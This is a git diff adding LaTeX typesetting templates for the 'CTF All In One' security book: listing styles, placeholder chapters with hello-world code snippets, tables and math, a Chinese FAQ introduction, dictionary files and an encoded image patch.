keywordstyle=\bfseries\color[RGB]{143,217,68},%style of keywords in source language (e.g. keywordstyle=\color{red}) + identifierstyle=\color[RGB]{101,197,222}, + stringstyle=\color[RGB]{236,118,0},%style of strings in source language + belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption + breaklines=true,%automatic line-breaking + frame=single,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox) + xleftmargin=\parindent, + showstringspaces=false, + captionpos=b,%position of caption (t/b) + showspaces=false,%emphasize spaces in code (true/false) + showtabs=false,%emphasize tabulators in code (true/false) + tabsize=4,%default tabsize + lineskip=0.5em, + usekeywordsintag=false, + postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}} +} + +\lstdefinestyle{customStyleHTMLLight}{ + language=HTML, + numbers=left,%position of line numbers (left/right/none, i.e. no line numbers) + basicstyle=\footnotesize\ttfamily\color[RGB]{0,0,0},%font size/family/etc. for source (e.g. basicstyle=\ttfamily\small) + numberstyle=\color[RGB]{0,0,0},%style used for line-numbers + backgroundcolor=\color[RGB]{255,255,255},%colour for the background. External color or xcolor package needed. + commentstyle=\itshape\color[RGB]{52,121,54},%style of comments in source language. + keywordstyle=\bfseries\color[RGB]{138,18,130},%style of keywords in source language (e.g. keywordstyle=\color{red}) + stringstyle=\color[RGB]{0,0,238},%style of strings in source language + belowcaptionskip=1\baselineskip,%is the vertical space respectively above or below each caption + breaklines=true,%automatic line-breaking + frame=shadowbox,%showing frame outside code (none/leftline/topline/bottomline/lines/single/shadowbox) + rulesepcolor=\color{black}, + xleftmargin=\parindent, + showstringspaces=false, + captionpos=b,%position of caption (t/b) + showspaces=false,%emphasize spaces in code (true/false) + showtabs=false,%emphasize tabulators in code (true/false) + tabsize=4,%default tabsize + lineskip=0.5em, + usekeywordsintag=false, + postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{VioletBlue}\hookrightarrow\space}} +} \ No newline at end of file diff --git a/tex/contents/EN/contents.tex b/tex/contents/EN/contents.tex new file mode 100644 index 0000000..f4e3bed --- /dev/null +++ b/tex/contents/EN/contents.tex @@ -0,0 +1,21 @@ +\input{contents/EN/introduction/introduction} +\newpage +\input{contents/EN/snippets/snippets} +\newpage +\input{contents/EN/useofabbreviations/useofabbreviations} +\newpage +\input{contents/EN/useofbibliography/useofbibliography} +\newpage +\input{contents/EN/useofindex/useofindex} +\newpage +\input{contents/EN/tables/tables} +\newpage +\input{contents/EN/footnotes/footnotes} +\newpage +\input{contents/EN/japanese/japanese} +\newpage +\input{contents/EN/images/images} +\newpage +\input{contents/EN/landscape/landscape} +\newpage +\input{contents/EN/mathematics/mathematics} \ No newline at end of file diff --git a/tex/contents/EN/footnotes/footnotes.tex b/tex/contents/EN/footnotes/footnotes.tex new file mode 100644 index 0000000..9a0113d --- /dev/null +++ b/tex/contents/EN/footnotes/footnotes.tex @@ -0,0 +1,9 @@ +\chapter{Footnotes} + +one\footnote{\label{foot-1}Footnote 1.} +two\footnote{\label{foot-2}Footnote 2.} +three\footnote{\label{foot-3}Footnote 3.} +four\textsuperscript{\ref{foot-2}} + +\section{Example 1} +test \ No newline at end of file diff --git a/tex/contents/EN/images/images.tex b/tex/contents/EN/images/images.tex new file mode 100644 index 0000000..798a5a0 --- /dev/null +++ b/tex/contents/EN/images/images.tex @@ -0,0 +1,18 @@ +\chapter{Use of Images} + +% Required packages: "graphicx", "float" +% See for more info: https://en.wikibooks.org/wiki/LaTeX/Importing_Graphics +\section{Image Area}\index{Image Area} +\subsection{Example Image 1} + +\includegraphics[trim = 10mm 60mm 20mm 5mm, clip, height=\linewidth, angle=90]{\IMGExampleOne} +\captionof{figure}{Example Image 1} + +\subsection{Example Image 2} + +\includegraphics[width=\linewidth]{\IMGExampleTwo} +\captionof{figure}{Example Image 2} +\label{figure:anime} + +You can reference images, for instance, the image \ref{figure:anime} shows +an image from \textit{unsplash} \ No newline at end of file diff --git a/tex/contents/EN/introduction/introduction.tex b/tex/contents/EN/introduction/introduction.tex new file mode 100644 index 0000000..f9cc03e --- /dev/null +++ b/tex/contents/EN/introduction/introduction.tex @@ -0,0 +1,37 @@ +\chapter{Introduction} + +this is the first chapter + +\section{section} + +This is the first section. + +\subsection{Subsection} + +normal \emph{italic}, \textbf{bold} and \textbf{\emph{bold italic}}. + +ä ö ü ß + +% Required packages: "csquotes", (optional) "babel" + +% bold +{\textbf{Sample Text 0123}} +\\ % italic +{\textit{Sample Text 0123}} +\\ % small caps +{\textsc{Sample Text 0123}} +\\ % sans serif +{\textsf{Sample Text 0123}} +\\ % tiny +{\tiny{Sample Text 0123}} +\\ % normalsize +{\normalsize{Sample Text 0123}} +\\ % huge +{\huge{Sample Text 0123}} +\\ % hiperlink +{\color{HyperlinkBlue}\url{https://de.sharelatex.com/learn/}} +\\ +\\ +A \rotatebox{90}{B} C +\\ +These are special characters: äöüß \ No newline at end of file diff --git a/tex/contents/EN/japanese/japanese.tex b/tex/contents/EN/japanese/japanese.tex new file mode 100644 index 0000000..d23a111 --- /dev/null +++ b/tex/contents/EN/japanese/japanese.tex @@ -0,0 +1,4 @@ +\chapter{Japanese - 日本語} + +むかし、むかし、ある所におじいさんとおばあさんが住んでいました。おじいさんは山へしば刈りに、おばあさんは川へ洗濯に行きました。すると大きな桃が流れてきました。 +「なんと大きな桃じゃろう!家に持って帰ろう。」とおばあさんは背中に担いで帰って行きました。 \ No newline at end of file diff --git a/tex/contents/EN/landscape/landscape.tex b/tex/contents/EN/landscape/landscape.tex new file mode 100644 index 0000000..0615d1e --- /dev/null +++ b/tex/contents/EN/landscape/landscape.tex @@ -0,0 +1,6 @@ +% Requierd packages: "pdflscape" alternative: lscape +\begin{landscape} +\chapter{Landscape Area}\index{Landscape Area} +\section{Example 1} +This page is in Landscape mode +\end{landscape} \ No newline at end of file diff --git a/tex/contents/EN/mathematics/mathematics.tex b/tex/contents/EN/mathematics/mathematics.tex new file mode 100644 index 0000000..ce57f8c --- /dev/null +++ b/tex/contents/EN/mathematics/mathematics.tex @@ -0,0 +1,30 @@ +\chapter{Mathematics Area}\index{Mathematics Area} +\section{Example 1} + +The well known Pythagorean theorem \(x^2 + y^2 = z^2\) was +proved to be invalid for other exponents. +Meaning the next equation has no integer solutions: + +\[ x^n + y^n = z^n \] + + An alternative: + +\begin{center} + \begin{math} + 7+12+x=10 + \end{math} +\end{center} + +In physics, the mass-energy equivalence is stated +by the equation $E=mc^2$, discovered in 1905 by Albert Einstein. + +The mass-energy equivalence is described by the famous equation + +$$E=mc^2$$ + +discovered in 1905 by Albert Einstein. +In natural units ($c$ = 1), the formula expresses the identity + +\begin{equation} +E=m +\end{equation} \ No newline at end of file diff --git a/tex/contents/EN/snippets/bash.tex b/tex/contents/EN/snippets/bash.tex new file mode 100644 index 0000000..76bf344 --- /dev/null +++ b/tex/contents/EN/snippets/bash.tex @@ -0,0 +1,21 @@ +\section{Bash Light} + +\begin{lstlisting}[language=bash, style=customStyleBashLight, caption=Snippet title] +#!/bin/bash + +STRING="HELLO WORLD!!!" +echo $STRING +\end{lstlisting} + +\section{Bash Dark} + +\begin{lstlisting}[language=bash, style=customStyleBashDark, caption=Snippet title] +#!/bin/bash + +STRING="HELLO WORLD!!!" +echo $STRING +\end{lstlisting} + +\section{Bash Import} + +\lstinputlisting[language=bash, style=customStyleBashDark, caption=Snippet title]{\SNIPPETBash} \ No newline at end of file diff --git a/tex/contents/EN/snippets/html.tex b/tex/contents/EN/snippets/html.tex new file mode 100644 index 0000000..b272c39 --- /dev/null +++ b/tex/contents/EN/snippets/html.tex @@ -0,0 +1,51 @@ +\section{HTML Light} + +\begin{lstlisting}[language=bash, style=customStyleHTMLLight, caption=Snippet title] + + + + + GGHTMLCodeExample + + + + +
+ + +\end{lstlisting} + +\section{HTML Dark} + +\begin{lstlisting}[language=bash, style=customStyleHTMLDark, caption=Snippet title] + + + + + GGHTMLCodeExample + + + + +
+ + +\end{lstlisting} + +\section{HTML Import} + +\lstinputlisting[language=bash, style=customStyleHTMLDark, caption=Snippet title]{\SNIPPETHTML} \ No newline at end of file diff --git a/tex/contents/EN/snippets/java.tex b/tex/contents/EN/snippets/java.tex new file mode 100644 index 0000000..b021125 --- /dev/null +++ b/tex/contents/EN/snippets/java.tex @@ -0,0 +1,33 @@ +\section{Java Light} + +\begin{lstlisting}[language=bash, style=customStyleJavaLight, caption=Snippet title] +/** + * HelloWorld.java + */ + +public class HelloWorld +{ + public static void main(String[] args) { + System.out.println("Hello World!"); + } +} +\end{lstlisting} + +\section{Java Dark} + +\begin{lstlisting}[language=bash, style=customStyleJavaDark, caption=Snippet title] +/** + * HelloWorld.java + */ + +public class HelloWorld +{ + public static void main(String[] args) { + System.out.println("Hello World!"); + } +} +\end{lstlisting} + +\section{Java Import} + +\lstinputlisting[language=bash, style=customStyleJavaDark, caption=Snippet title]{\SNIPPETJava} \ No newline at end of file diff --git a/tex/contents/EN/snippets/snippets.tex b/tex/contents/EN/snippets/snippets.tex new file mode 100644 index 0000000..205b478 --- /dev/null +++ b/tex/contents/EN/snippets/snippets.tex @@ -0,0 +1,7 @@ +\chapter{Snippets} + +\input{contents/EN/snippets/bash} + +\input{contents/EN/snippets/html} + +\input{contents/EN/snippets/java} \ No newline at end of file diff --git a/tex/contents/EN/tables/tables.tex b/tex/contents/EN/tables/tables.tex new file mode 100644 index 0000000..f024de5 --- /dev/null +++ b/tex/contents/EN/tables/tables.tex @@ -0,0 +1,109 @@ +\chapter{Tables} + +% alternate rowcolors for all long-tables +\renewenvironment{longtable}{\rowcolors{2}{LightGray}{white}\oldlongtable} {\endoldlongtable} + +\begin{longtable}[l]{| p{40mm} | p{105mm} |} + \hline + \rowcolor{Gray} + \textbf{Term} & \textbf{Description}\\ + \hline + + \endfirsthead + + \hline + \rowcolor{Gray} + \textbf{Term} & \textbf{Description}\\ + \hline + + \endhead + \hiderowcolors + \endfoot + \caption{Table example}\label{table:kysymys}\\ + \endlastfoot + \showrowcolors + Lotsoflines & like this like this like this like this like this like this like this like this like this like this like this like this like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline + Lots of lines & like this\\ + \hline +\end{longtable} + +Table \ref{table:kysymys} \ No newline at end of file diff --git a/tex/contents/EN/useofabbreviations/useofabbreviations.tex b/tex/contents/EN/useofabbreviations/useofabbreviations.tex new file mode 100644 index 0000000..a46c28d --- /dev/null +++ b/tex/contents/EN/useofabbreviations/useofabbreviations.tex @@ -0,0 +1,33 @@ +\chapter{Use of Abbreviations} + +\ac{KDE} % K Desktop Environment (KDE) +\\ +\acs{KDE} % KDE +\\ +\acf{KDE} % K Desktop Environment (KDE) +\\ +\acl{KDE} % K Desktop Environment +\\ +\acp{KDE} % K Desktop Environments (KDEs) +\\ +\acsp{KDE} % KDEs +\\ +\acfp{KDE} % K Desktop Environments (KDEs) +\\ +\aclp{KDE} % K Desktop Environments +\\ +\ac{SQL} +\\ +\acs{SQL} +\\ +\acf{SQL} +\\ +\acl{SQL} +\\ +\acp{SQL} +\\ +\acsp{SQL} +\\ +\acfp{SQL} +\\ +\aclp{SQL} \ No newline at end of file diff --git a/tex/contents/EN/useofbibliography/useofbibliography.tex b/tex/contents/EN/useofbibliography/useofbibliography.tex new file mode 100644 index 0000000..bf6aa25 --- /dev/null +++ b/tex/contents/EN/useofbibliography/useofbibliography.tex @@ -0,0 +1,9 @@ +\chapter{Use of References} + +\cite{exampleArticle} Article +\\ +\cite{exampleBook} Book +\\ +\cite{exampleManual} Manual +\\ +\cite{exampleOnline} Online \ No newline at end of file diff --git a/tex/contents/EN/useofindex/useofindex.tex b/tex/contents/EN/useofindex/useofindex.tex new file mode 100644 index 0000000..958287b --- /dev/null +++ b/tex/contents/EN/useofindex/useofindex.tex @@ -0,0 +1,3 @@ +\chapter{Use of Index} + +\index{test index} Test \ No newline at end of file diff --git a/tex/contents/ZH/contents.tex b/tex/contents/ZH/contents.tex new file mode 100644 index 0000000..5065697 --- /dev/null +++ b/tex/contents/ZH/contents.tex @@ -0,0 +1,21 @@ +\input{contents/ZH/introduction/introduction} +%\newpage +% \input{contents/ZH/snippets/snippets} +% \newpage +% \input{contents/ZH/useofabbreviations/useofabbreviations} +% \newpage +% \input{contents/ZH/useofbibliography/useofbibliography} +% \newpage +% \input{contents/ZH/useofindex/useofindex} +% \newpage +% \input{contents/ZH/tables/tables} +% \newpage +% \input{contents/ZH/footnotes/footnotes} +% \newpage +% \input{contents/ZH/japanese/japanese} +% \newpage +% \input{contents/ZH/images/images} +% \newpage +% \input{contents/ZH/landscape/landscape} +% \newpage +% \input{contents/ZH/mathematics/mathematics} \ No newline at end of file diff --git a/tex/contents/ZH/introduction/introduction.tex b/tex/contents/ZH/introduction/introduction.tex new file mode 100644 index 0000000..eca12d1 --- /dev/null +++ b/tex/contents/ZH/introduction/introduction.tex @@ -0,0 +1,36 @@ +\chapter{前言} + +————“与其相信谣言,不如一起学习”。 + +\section{常见问题} + +\begin{itemize}\setlength{\parindent}{2em} + \item 什么是 CTF,我为什么要学? + + CTF 是网络安全技术人员之间进行技术竞技的一种比赛形式,通过学习,可以在法律允许的范围内,快速地了解和掌握相关安全技术。 + + \item 阅读本书的预备知识是什么? + + 本书是为初学者准备的,不要求有预备知识,但如果对 Linux 操作系统,对编程有一定了解,肯定会有帮助。 + + \item 我可以买到纸质版吗? + + 抱歉,目前没有。除非对纸质书有偏好,你可以自行打印。否则由于内容整体尚未完成,且更新很快,作者更推荐使用电子版。 + + \item 本书有PDF/epub/mobi格式的吗? + + 没有 epub/mobi 版本。暂时有 pdf,可在 GitBook 页面下载,这群人正在努力学习Latex的使用,以提供更优雅的排版和PDF文件。 + + \item 我能打印本书或者作为教材教课吗? + + 太棒了!必须的!本书使用 Creative Commons license (CC BY-SA 4.0),大可随意使用。作为一个开源项目,我们当然希望更多的人了解并参与进来。 + + \item 本书为何免费,有何目的? + + 技术类书籍大多赚不到钱,只是作者的兴趣使然,顺便给自己打个广告。 + + \item 我还有其他问题。 + + 你也可以选择提交issue到本仓库,也可以邮件联系我们。 + +\end{itemize} diff --git a/tex/contents/contents.tex b/tex/contents/contents.tex new file mode 100644 index 0000000..133c92d --- /dev/null +++ b/tex/contents/contents.tex @@ -0,0 +1,5 @@ +\IfFileExists{contents/\CONFIGLanguage/contents}{ + \input{contents/\CONFIGLanguage/contents} +}{false-branch + Content: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage `` +} \ No newline at end of file diff --git a/tex/dictionary/EN.tex b/tex/dictionary/EN.tex new file mode 100644 index 0000000..33997cc --- /dev/null +++ b/tex/dictionary/EN.tex @@ -0,0 +1,19 @@ +% Global definitions +\def\DICTDocDate{\today} +\def\DICTTableOfContents{Table of Contents} +\def\DICTListOfFigures{List of Figures} +\def\DICTFigureName{Figure} +\def\DICTListOfTables{List of Tables} +\def\DICTTableName{Table} +\def\DICTListOfCodeSnippets{List of Code Snippets} +\def\DICTListingName{Code Snippet} +\def\DICTAbbreviations{List of Abbreviations} +\def\DICTAppendix{Appendix} +\def\DICTTableOfAppendix{Table of Appendix} +\def\DICTReferences{References} +\def\DICTIndex{Index} + +% Dict +\def\DICTDocTitle{CTF ALL IN ONE} +\def\DICTDocAuthor{firmianay | Skyel1u | phantom0301} +\def\DICTDocEmail{https://github.com/firmianay/CTF-All-In-One} diff --git a/tex/dictionary/ZH.tex b/tex/dictionary/ZH.tex new file mode 100644 index 0000000..7925a27 --- /dev/null +++ b/tex/dictionary/ZH.tex @@ -0,0 +1,19 @@ +% Global definitions +\def\DICTDocDate{\today} +\def\DICTTableOfContents{目录} +\def\DICTListOfFigures{图片列表} +\def\DICTFigureName{图片} +\def\DICTListOfTables{表格列表} +\def\DICTTableName{列表} +\def\DICTListOfCodeSnippets{代码片段列表} +\def\DICTListingName{代码片段} +\def\DICTAbbreviations{缩略短语表} +\def\DICTAppendix{附录} +\def\DICTTableOfAppendix{附录表} +\def\DICTReferences{引用} +\def\DICTIndex{索引} + +% Dict +\def\DICTDocTitle{CTF 从入门到放弃} +\def\DICTDocAuthor{ Firmianay | Phantom0301 | Skyel1u} +\def\DICTDocEmail{https://github.com/firmianay/CTF-All-In-One} diff --git a/tex/dictionary/dictionary.tex b/tex/dictionary/dictionary.tex new file mode 100644 index 0000000..143bc16 --- /dev/null +++ b/tex/dictionary/dictionary.tex @@ -0,0 +1,5 @@ +\IfFileExists{dictionary/\CONFIGLanguage}{ + \input{dictionary/\CONFIGLanguage} +}{ + Dictionary: UNSUPPORTED LANGUAGE ,,\CONFIGLanguage `` +} \ No newline at end of file diff --git a/tex/emptypage.tex b/tex/emptypage.tex new file mode 100644 index 0000000..3d35e35 --- /dev/null +++ b/tex/emptypage.tex @@ -0,0 +1,3 @@ +\newpage +\thispagestyle{empty} +\mbox{} \ No newline at end of file diff --git a/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf b/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf new file mode 100644 index 0000000..e69de29 diff --git a/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf b/tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf new file mode 100644 index 0000000..e69de29 diff --git a/tex/fonts/Roboto/Roboto-Bold.ttf b/tex/fonts/Roboto/Roboto-Bold.ttf new file mode 100644 index 0000000..e69de29 diff --git a/tex/fonts/Roboto/Roboto-BoldItalic.ttf b/tex/fonts/Roboto/Roboto-BoldItalic.ttf new file mode 100644 index 0000000..e69de29 diff --git a/tex/fonts/Roboto/Roboto-Italic.ttf b/tex/fonts/Roboto/Roboto-Italic.ttf new file mode 100644 index 0000000..e69de29 diff --git a/tex/fonts/Roboto/Roboto-Regular.ttf b/tex/fonts/Roboto/Roboto-Regular.ttf new file mode 100644 index 0000000..e69de29 diff --git a/tex/images/content/ben-kolde-367194.jpg b/tex/images/content/ben-kolde-367194.jpg new file mode 100644 index 0000000000000000000000000000000000000000..f95163ddf0a435ca9a9506d5a227f22da96c1d6a GIT binary patch literal 160259 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 